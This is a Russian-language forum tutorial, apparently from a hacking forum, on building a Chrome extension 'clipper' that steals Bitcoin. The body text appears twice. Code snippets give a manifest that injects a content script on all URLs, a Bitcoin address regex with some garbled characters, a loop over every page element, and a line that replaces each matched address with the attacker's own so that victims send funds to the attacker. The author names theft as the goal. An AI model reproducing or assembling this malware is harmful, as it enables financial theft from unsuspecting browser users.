Пожалуйста, обратите внимание, что пользователь заблокирован
Как сделать свой клиппер BTC адресов для браузера Google Chrome
Ну для начала пару слов о том, что такое клиппер если кто-то не знает - это программа, которая подменяет адреса криптокошельков на компьютере жертвы на ваши, человек не замечает подмены и отправляет крипту на ваш адрес. В этой статье я расскажу как сделать простую такую программу (расширение) для браузера google chrome, чтоб подменять адреса bitcoin кошельков. Использовать ее я конечно не советую можно сесть за такое в тюрьму, хотя бы по РУ не работайте.
Первый этап
Начать стоит с того, что нам нужно будет ванильное расширение для хрома. Никакого функционала оно нести не будет, только выводить что-то вроде "Hello world" и всё. Для этого идем на гитхаб и пишем chrome extension.
Сразу видим первым в выдаче репозиторий с примерами расширений. Заходим..
Как я писал выше нам нужно хелло ворлд базовое расширение. Жмякаем по ссылке и нас перекидывает к файлам расширения где мы их можем и скачать.
Закидываем эти 4 файла в одну папку и открываем хром.
Чтоб установить расширение нужно перейти во вкладку расширения
Включить Developer Mode
Далее нажав Load unpacked выбрать папку с теми 4 файлами на вашем ПК.
И как мы видим расширение установлено. Мы завершили первый этап.
Второй этап
Если не установлено, установите VSCODE чтоб было удобно редактировать код расширения https://code.visualstudio.com/.
Открываем в VSCODE папку с нашим расширением.
Открываем файл manifest.json и к концу файла добавляем следующие строчки
в итоге он должен выглядеть так
Что делает этот код?
Манифэст это своего рода конфиг для нашего расширения, и мы ему сейчас дали понять что при открытии любой странички будет исполняться код из файла background.js, который собственно и нужно создать. Для этого нажмите эту кнопку
Что ж, для примера добавим обычным консоль лог, который выведет три единички в консоли браузера при загрузке странички. Пишем мы это в файл background.js т.к именно он исполняется на странице!
Сохраняемся и обновляем расширение, для этого жмем эту кнопку
Чтоб увидеть изменения после обновления всегда нажимайте эту кнопку чтоб браузер обновил код.
Заходим в гугол и видим наши три единчки. Значит скрипт работает, ура.
Третий этап
Добавляем функционал. Добавим в самый верх файла функцию которая будет нам говорить является ли текст на странице биткоин адресом. Это делается для того чтоб когда наше расширение будет смотреть ВСЕ элементы на странице не заменяло все что есть на наш биткоин адрес.
Так как контент на сайте может меняться в конце файла добавим строчку которая будет запускать нашу функцию init каждые 3 секунды, на случай если что-то на странице поменяется и появится адрес битка.
И теперь к самому вкусному.
Внутри нашей функции init добавляем код который будет получать все элементы на странице, далее циклом перебирать их. По простому для чайников, получаем список всех элементов на странице (кнопки, заголовки, текста, ссылки вообще все что есть) и проходимся циклом то есть последовательно по списку смотря каждый элемент.
Когда мы теперь можем работать отдельно с каждым элементом страницы (как видно в коде которые последовательно записываются в переменную pageEl) мы будем смотреть что находится внутри, то есть вполне возможно мы найдем биткоин адрес.
Теперь в переменной текст хранится все что есть на сайте в виде строк (текста) и мы можем с помощью функции validate bitcoin address которую добавили ранее проверить является ли строка (текст) на странице биткоин адресом.
В итоге у вас должно получится что то типа такого
Давайте проверим как работает наше чудо. Зайдем на сайт где должны явно находится биткоин адреса и посмотрим найдет ли их наш скрипт и выведит ли в консоль. Для примера я взял блокчейн сканнер битка - https://www.blockchain.com/explorer...5ef069d057a38c50b25f93e862bc75ab689dd534f17fc и зашел в первую попавшуются транзу, страница загрузилась открываем консоль и смотрим...
Победа! Можем видеть что расширение удачно находит адреса на странице.
Теперь давайте напишем код который будет подменять их на наш. Создадим переменную, которая будем хранить в себе наш адрес для подмены
И чтоб адрес менялся на наш дописываем такую строчку
Обновим расширение, зайдем на страницу (блокчейн сканнера) и посмотрим работает ли.
Да, адреса заменяются и скрипт работает
В конце всего должен быть такой код
Итог:
Простое расширение для браузера, при установке которого будет заменять все адреса биткоин кошельков на ваш адрес для кражи крипты.
Самая большая благодарность это ваши лайки и комментарии.
Если хотите продолжение или статью на похожую тематику пишите буду делать.
Ну для начала пару слов о том, что такое клиппер если кто-то не знает - это программа, которая подменяет адреса криптокошельков на компьютере жертвы на ваши, человек не замечает подмены и отправляет крипту на ваш адрес. В этой статье я расскажу как сделать простую такую программу (расширение) для браузера google chrome, чтоб подменять адреса bitcoin кошельков. Использовать ее я конечно не советую можно сесть за такое в тюрьму, хотя бы по РУ не работайте.
Первый этап
Начать стоит с того, что нам нужно будет ванильное расширение для хрома. Никакого функционала оно нести не будет, только выводить что-то вроде "Hello world" и всё. Для этого идем на гитхаб и пишем chrome extension.
Сразу видим первым в выдаче репозиторий с примерами расширений. Заходим..
Как я писал выше нам нужно хелло ворлд базовое расширение. Жмякаем по ссылке и нас перекидывает к файлам расширения где мы их можем и скачать.
Закидываем эти 4 файла в одну папку и открываем хром.
Чтоб установить расширение нужно перейти во вкладку расширения
Включить Developer Mode
Далее нажав Load unpacked выбрать папку с теми 4 файлами на вашем ПК.
И как мы видим расширение установлено. Мы завершили первый этап.
Второй этап
Если не установлено, установите VSCODE чтоб было удобно редактировать код расширения https://code.visualstudio.com/.
Открываем в VSCODE папку с нашим расширением.
Открываем файл manifest.json и к концу файла добавляем следующие строчки
Код:
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["background.js"]
}],
"host_permissions": ["<all_urls>"]
в итоге он должен выглядеть так
Что делает этот код?
Манифэст это своего рода конфиг для нашего расширения, и мы ему сейчас дали понять что при открытии любой странички будет исполняться код из файла background.js, который собственно и нужно создать. Для этого нажмите эту кнопку
Что ж, для примера добавим обычным консоль лог, который выведет три единички в консоли браузера при загрузке странички. Пишем мы это в файл background.js т.к именно он исполняется на странице!
Код:
function init() { // обьявляем функцию инит
console.log(111) // делаем консоль лог
} // закрываем функцию
init() // вызываем функцию
Сохраняемся и обновляем расширение, для этого жмем эту кнопку
Чтоб увидеть изменения после обновления всегда нажимайте эту кнопку чтоб браузер обновил код.
Заходим в гугол и видим наши три единчки. Значит скрипт работает, ура.
Третий этап
Добавляем функционал. Добавим в самый верх файла функцию которая будет нам говорить является ли текст на странице биткоин адресом. Это делается для того чтоб когда наше расширение будет смотреть ВСЕ элементы на странице не заменяло все что есть на наш биткоин адрес.
Код:
function validate_bitcoin_address(btc_address){
return btc_address.match("^[13][a-km-zA-HJ-NP-Z1-9]{25,34}quot;) !== null;quot;) !== null;
}
Так как контент на сайте может меняться в конце файла добавим строчку которая будет запускать нашу функцию init каждые 3 секунды, на случай если что-то на странице поменяется и появится адрес битка.
Код:
setInterval(init, 3000);
И теперь к самому вкусному.
Внутри нашей функции init добавляем код который будет получать все элементы на странице, далее циклом перебирать их. По простому для чайников, получаем список всех элементов на странице (кнопки, заголовки, текста, ссылки вообще все что есть) и проходимся циклом то есть последовательно по списку смотря каждый элемент.
Код:
const getAllPageElements = document.getElementsByTagName("*"); // получаем все элементы на странице
for (var i = 0, max = getAllPageElements.length; i < max; i++) { // проходим циклом по каждому элементу
var pageEl = getAllPageElements[i]; // наш элемент
}
Когда мы теперь можем работать отдельно с каждым элементом страницы (как видно в коде которые последовательно записываются в переменную pageEl) мы будем смотреть что находится внутри, то есть вполне возможно мы найдем биткоин адрес.
Код:
var text = pageEl.innerText; // внутренности нашего элемента, то есть там может быть наш биткоин адресс
Теперь в переменной текст хранится все что есть на сайте в виде строк (текста) и мы можем с помощью функции validate bitcoin address которую добавили ранее проверить является ли строка (текст) на странице биткоин адресом.
Код:
if(text){ // проверка на null undefined и пустые строки
if(validate_bitcoin_address(text)){ // проверка на биткоин адрес
console.log(text) // в случае если текст или стрка является биткоин адресом вывести ее в консоль
}
}
В итоге у вас должно получится что то типа такого
Давайте проверим как работает наше чудо. Зайдем на сайт где должны явно находится биткоин адреса и посмотрим найдет ли их наш скрипт и выведит ли в консоль. Для примера я взял блокчейн сканнер битка - https://www.blockchain.com/explorer...5ef069d057a38c50b25f93e862bc75ab689dd534f17fc и зашел в первую попавшуются транзу, страница загрузилась открываем консоль и смотрим...
Победа! Можем видеть что расширение удачно находит адреса на странице.
Теперь давайте напишем код который будет подменять их на наш. Создадим переменную, которая будем хранить в себе наш адрес для подмены
И чтоб адрес менялся на наш дописываем такую строчку
Код:
pageEl.innerText = MY_ADDRESS;
Обновим расширение, зайдем на страницу (блокчейн сканнера) и посмотрим работает ли.
Да, адреса заменяются и скрипт работает
В конце всего должен быть такой код
Итог:
Простое расширение для браузера, при установке которого будет заменять все адреса биткоин кошельков на ваш адрес для кражи крипты.
Самая большая благодарность это ваши лайки и комментарии.
Если хотите продолжение или статью на похожую тематику пишите буду делать.
Вложения
Последнее редактирование модератором: